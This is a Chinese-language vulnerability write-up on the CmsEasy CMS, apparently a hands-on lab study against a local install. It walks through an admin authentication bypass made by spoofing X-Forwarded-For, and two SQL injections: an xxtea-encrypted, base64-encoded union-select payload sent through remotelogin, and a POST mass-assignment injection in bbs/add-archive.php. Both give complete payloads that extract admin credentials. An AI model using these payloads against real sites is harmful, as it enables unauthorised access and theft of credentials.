目录
环境搭建
安装cmseasy,cmseasy安装包可以在官网下载安装
将其解压部署在服务器上后,访问\uploads\install这个路径,然后页面就会显示让你安装,然后按照页面提示修改php版本和mysql版本,然后设置你的数据库参数,最后设置你管理员账号密码就可以安装了。
安装完成后显示页面
漏洞分析
未授权访问漏洞
选择lib模块中的admin.php模块,这个模块是有关后台登陆的一些方法查看其原代码
漏洞原理
原码中front::ip就是front
类的静态方法 ip(),然后这个判断依据就是服务端IP等于你客户端IP并且你的get传参ishtml=1的时候就直接返回,就可以不用检查你是不是admin,然后咱可以借助这个特性来登陆到后台
ip()方法 ,其中HTTP_X_FORWORDED_FOR就是用来获取客户端IP的字段
payload构造
下图是cms的后台
我们使用刚刚从后台截取到的参数直接输入到搜索框中case=config&act=system&set=site&admin_dir=admin&site=default,是不可以登陆的,如果可以绕开的话要账号密码就没有意义了
这样就可以借助上面的未授权访问漏洞来登录
首先伪造get参数
修改HTTP_X_FORWORDED_FOR这个字段为服务器IP,服务器IP好获取,你使用ping或者nslookup都可以获取
现在使用插件修改一下
现在我没有输入密码就可以直接登陆了
完成了未授权访问,由于你只是在config这个目录下登陆所以其他的功能都没有
sql注入漏洞
漏洞注入前准备获取cookie安全码
首先你可以从你刚刚未授权访问的页面拿到cookie的安全码
漏洞点分析
然后我们来看一下代码,他是从这里拿到了cookie的安全码,然后这个里面的的方法remotelogin_action方法是用来远程登陆的方法
然后我们来看一下user这个类,下面的代码中user继承自table,我们合理怀疑一下这个代码和数据库有关
点进去看一下table类,发现确实和table有关
现在再回到admin_act.php中的remotelogin_action,我们再来看一下remotelogin_action,这是一个对数据库的操作
下面来看一下getrow,getrow将你输入的字段放入condition中
我们再来看一下condition,数据传输到condition中首先判断是不是存在,再判断是不是一个数组,是数组就将key和value取出来,把取出来的key和value拼接到$_condition中。如果不是数组就会输出sql inject,然后这里key闭合的的时候用的是`,所以一会payload也要用`
然后condition这个函数将会返回并且把这个值当作getrow中rec_select_one的参数
现在再来看一下rec_select_one代码,然后这个函数最后呈现出来的应该是where的语句例如:where id=1'
然后这个数据就会被放到sql_select中,拼装好$sql中,然后放到rec_query_one这个函数中
rec_query_one这个函数
payload构造
我们payload构造的地方就该在如下图所在位置
下图中到码对args参数首先经过了base64解码,然后经过了一个框架中所带xxtea_decrypt方法的解密,在之后到$user参数时又经过了一次反序列化,所以我们构造的payload就需要将上述过程反着来一遍这样当参数传入进来的时候才可以经过一列加解密转化为我们正常的注入语句
首先将注入语句先要进行序列化再进行加密在进行base64编码,但是是用xxtea_decrypt加密的时候需要两个参数一个参数是咱们钩爪的字符串,一个是加密密钥也就是cookie安全码
#cookie安全码
61dec12105f4f9950d12a848d958f8f4
下面是构造payload的过程
#使用`是因为在condition处对于数据使用了`闭合,使用数组是因为在condition处有一个数组的判断如果不是数组,是字符串的话就会报sql注入的错误,然后由于代码是开源的所以数据库啥的都可以被查询到
$table = array(
'userid`=-1 union select 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
);
下图是运行出数据图,注意由于payload要注入在地址栏所以需要把+和/进行url编码
注入地点的选择case由于都是在后才操作所以就是admin然后方法应该选择remotelogin_action所以act选择remotelogin_action然后admin_dir和site都选默认然后再加一个参数args
127.0.0.1:9999/CmsEasy/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=xN0COSP%2fXImMERm4S2Ce0PFOJyo33J%2fsPVNomaGEPXi5Hh%2fEd2O%2fVLJrhFtLv1O594Ux%2bitNH6WTRgvs%2fBIle1TVBRpabm1Vstbfevex6V0oA8z0p%2fDZOpy1ThqKwFtMperKRi0JrzZTqJ58EEC8QsLwdr1utcAcVCFbvyVDmUJwM9A4AAxYAInJBy9JPeJxUDl5uwABNJBcMaBn
注入结果
然后就可以注入查看结果了,用户名是root
然后密码被%隔开了是md5值,注入成功
另外一个sql注入
漏洞分析
这个注入函数再/bbs/add-archive.php中,如下图
代码
注意下面好几个连续的$_POST,然后代码是直接将$_POST数组放入$archive->inserData($_POST) ,这里就是有问题的地方,在这里可以提交其他$_POST字段,这样就有了注入的机会
<?php
require_once 'bbs_public.php';
//验证用户登陆相关操作
$admin = new action_admin();
$admin->check_login();
$category = db_bbs_category::getInstance();
$category_data = $category->getAll();
$cid = isset($_GET['cid']) ? intval($_GET['cid']) : 1 ;
$label = db_bbs_label::getInstance();
$lable_data = $label->getAll();
if(isset($_POST['submit'])){
if(strtolower(trim($_POST['verify'])) != strtolower($_SESSION['verify'])){
action_public::turnPage('index.php','验证码输入错误!');
}
$archive = db_bbs_archive::getInstance();
unset($_POST['submit']);
unset($_POST['verify']);
$_POST['username'] = $_COOKIE['login_username'];
$_POST['userid'] = $admin->userid;
$_POST['ip'] = $_SERVER['REMOTE_ADDR'];
$_POST['addtime'] = mktime();
if($id = $archive->inserData($_POST)){
action_public::turnPage('archive-display.php?aid='.$id,'文章添加成功');
}else{
action_public::turnPage('index.php','添加失败,请联系我们!');
}
}
然后我们再来看看inserData这个函数,这个函数是在如下图所在位置
然后我们再来看一下inserData里面insert这个方法
再追我们再看一下getInsertString这个方法,如下图
这个代码使用filterString过滤了字符串中的'
尝试注入
payload再理解一下
咱先查看一下这个/bbs/add-archive.php这个提交数据提交到了数据库的那里,经过查看测试就在数据库的bbs_archive这个表中,记住表中字段,由于是post整个数组提交所以可以提交bbs_archive中任意字段。然后咱们来看一下最后拼接完成的注入语句,很多东西就迎刃而解。
下面标红的地方就是你pay构造的注入地方,也就是你注入的语句在getInsertString最后拼接的样子再。观察注入语句没有用到',所以为啥过滤了'没有用就是因为下面的原因。
"INSERT INTO cmseasy_bbs_archive (title,cid,lid,noreply,content,username)/**/values((select/**/concat(username,0x23,password)/**/from/**/cmseasy_user/**/limit/**/0,1),2,3,4,5,6)#,username,userid,ip,addtime) VALUES('1231231','1','1','0','<p>123123</p>','','root','1','127.0.0.1','1723309957')"
构造post注入
注入结果
不知道为啥网页里面没有显示,但是数据库里面快注烂了